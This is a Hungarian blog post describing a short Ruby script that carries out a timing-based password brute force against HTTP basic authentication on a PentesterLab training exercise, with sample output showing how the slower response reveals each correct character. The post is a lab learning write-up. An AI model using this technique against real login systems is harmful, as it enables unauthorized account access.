2013. november 22., péntek

password brute force in ruby (for Web for Pentester II)

Megírtam első password brute-forcelő programomat. (na jó ez azért nagy túlzás :) Az ihletet a pentester.lab Web for Pentester II. példái adták. Az Authentication 2-es példájánál volt egy feladat, hogy a válaszidőkből lehetett saccolni a jelsző betűire. Ha nagyobb volt a válaszidő, akkor a jelszót eltalálta az ember. Sebtében össze is dobtam egy kis pár soros programot ami végignézi az adott karaktert és kiírja a válaszidőket.

Íme a program:

require "net/http"
require "uri"

uri = URI.parse("http://vulnerable/authentication/example2")

http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)

# pass = 'p4s....'

for a in ('a'..'z')
        pass = "p4s" + a
        request.basic_auth("hacker", pass)
        start_time = Time.now
        response = http.request(request)
        elapsed_time = Time.now - start_time
        print elapsed_time, pass, "n"
end
for a in ('A'..'Z')
        pass = "p4s" + a
        request.basic_auth("hacker", pass)
        start_time = Time.now
        response = http.request(request)
        elapsed_time = Time.now - start_time
        print elapsed_time, pass, "n"
end
for a in (0..9)
        pass = "p4s" + a.to_s
        request.basic_auth("hacker", pass)
        start_time = Time.now
        response = http.request(request)
        elapsed_time = Time.now - start_time
        print elapsed_time, pass, "n"
end

Valami ilyesmi outputja van:

...
1.812997502p4o
1.811892732p4p
1.811012498p4q
1.810557802p4r
2.009527982p4s
1.810828329p4t
1.809841847p4u
1.811344716p4v
...

Ebből látszik, hogy a 'p'-t és a '4'-est már előzőleg megtaláltam és a következő betű a jelszóban az 's'
(nyilván a jelszó p4ssw0rd lesz, de ha nem az lenne ezzel a módszerrel akkor is ki lehetne találni, ha véletlenszerű a kód... persze bele kéne tenni még a speciális karaktereket is...) Meg lehetne írni szépen is, hogy elindítom és magától megtalálja a kódot, de annyira még nem volt időm foglalkozni vele. Ha működik élesben is lehet, hogy megpróbálom összehozni. Bár nem nagyon hiszem, hogy éles helyzetben is ilyen eredményt adna, de ki lehet próbálni...Esetleg, ha valahol lehet következtetni a válaszidőkből valamire ott fel lehet használni ezt az elvet...

Mindenesetre megírtam életem első ruby kódját :)

1 megjegyzés:

Megjegyzés: Megjegyzéseket csak a blog tagjai írhatnak a blogba.